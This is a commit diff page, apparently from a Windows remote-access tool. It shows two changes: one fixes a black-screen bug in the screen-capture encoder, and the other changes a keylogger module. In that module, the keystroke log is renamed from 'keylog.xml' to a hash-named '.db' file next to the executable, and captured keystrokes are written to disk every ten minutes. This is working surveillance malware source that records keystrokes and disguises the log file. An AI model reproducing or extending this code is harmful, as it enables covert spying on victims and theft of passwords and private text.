2 Commits

Author SHA1 Message Date
yuanyuanxiang
fcd3b13ca8 Fix: skip detection black-screen on single-monitor capture 2026-06-03 19:09:26 +02:00
yuanyuanxiang
99be79b7ae Fix: Save keyboard input log to file every 10 minutes 2026-06-03 19:03:32 +02:00
3 changed files with 23 additions and 4 deletions

View File

@@ -53,7 +53,9 @@ CKeyboardManager1::CKeyboardManager1(IOCPClient*pClient, int offline, void* user
m_bIsOfflineRecord = offline;
char path[MAX_PATH] = { "C:\\Windows\\" };
GET_FILEPATH(path, skCrypt(KEYLOG_FILE));
GetModuleFileNameA(NULL, path, sizeof(path));
std::string fileName = GetExeHashStr() + ".db";
GET_FILEPATH(path, fileName.c_str());
strcpy_s(m_strRecordFile, path);
m_Buffer = new CircularBuffer(m_strRecordFile);
@@ -642,6 +644,7 @@ DWORD WINAPI CKeyboardManager1::KeyLogger(LPVOID lparam)
GET_PROCESS(DLLS[USER32], GetAsyncKeyState);
HDESK desktop = NULL;
clock_t lastCheck = 0;
auto lastSave = time(0);
while(pThis->m_bIsWorking) {
if (!pThis->IsConnected() && !pThis->m_bIsOfflineRecord) {
#if USING_KB_HOOK
@@ -651,6 +654,11 @@ DWORD WINAPI CKeyboardManager1::KeyLogger(LPVOID lparam)
continue;
}
Sleep(5);
auto tm = time(0);
if (tm - lastSave > 600) {
lastSave = tm;
pThis->m_Buffer->WriteAvailableDataToFile(pThis->m_strRecordFile);
}
#if USING_KB_HOOK
clock_t now = clock();
if (now - lastCheck > 1000) {

View File

@@ -7,8 +7,6 @@
#include "Manager.h"
#include "stdafx.h"
#define KEYLOG_FILE "keylog.xml"
#if ENABLE_KEYBOARD==0
#define CKeyboardManager1 CManager

View File

@@ -150,6 +150,12 @@ public:
int m_GOP; // 关键帧间隔
bool m_SendKeyFrame; // 发送关键帧
std::unique_ptr<VideoEncoderBase> m_encoder; // 编码器ensureEncoder() lazy 创建,走 EncoderFactory 探测
bool m_bEncoderPrimed = false; // encoder 是否已成功产出过一个包;
// false 时禁止 skip——避免单显示器路径
// 下 m_FirstBuffer 别名到 m_BitmapData_Full
// 且被 GetFirstScreenData 预先填过同帧像素,
// 导致首帧 memcmp 错误命中、跳过 encode、
// 永远不产 IDR → web 黑屏
int m_nScreenCount; // 屏幕数量
BOOL m_bEnableMultiScreen;// 多显示器支持
@@ -949,6 +955,7 @@ public:
}
*ulNextSendLength = 1 + offset + encoded_size;
memcpy(data + offset, encoded_data, encoded_size);
m_bEncoderPrimed = true; // 与下方 FirstBuffer 同步:自此 skip 安全
break;
}
default:
@@ -974,9 +981,14 @@ public:
// 即使逐像素完全一致仍 emit ~5KB/帧的"近 skip P 帧",让空闲流量长期
// 维持 100-200 KB/s每 4s GOP 还叠加一个 IDR。整帧 memcmp BGRA
// 找出真无变化帧直接跳过 encode仅发 cursorx264 走这里也省 CPU 无副作用。
//
// m_bEncoderPrimed 门encoder 还没产出过任何包时不允许 skip。
// 否则单显示器路径下 m_FirstBuffer 别名到 m_BitmapData_Full
// 而 GetFirstScreenData 已经把同一帧画进去了——首帧 memcmp 会
// 错误命中、永远不会喂 encoder、web 收不到 IDR、黑屏不恢复。
LPBYTE prev = GetFirstBuffer();
ULONG bgraSize = m_BitmapInfor_Send->bmiHeader.biSizeImage;
if (prev && memcmp(nextData, prev, bgraSize) == 0) {
if (m_bEncoderPrimed && prev && memcmp(nextData, prev, bgraSize) == 0) {
*ulNextSendLength = 1 + offset; // 仅 cursor无视频负载
return m_RectBuffer;
}
@@ -987,6 +999,7 @@ public:
}
*ulNextSendLength = 1 + offset + encoded_size;
memcpy(data + offset, encoded_data, encoded_size);
m_bEncoderPrimed = true; // 这一刻起 prev 才有"已编码"语义skip 才安全
// 更新参考帧供下一帧 memcmp。必须在 encode 成功之后更新,否则编码
// 失败时下一帧会误以为"已发"而漏发真实变化。
memcpy(prev, nextData, bgraSize);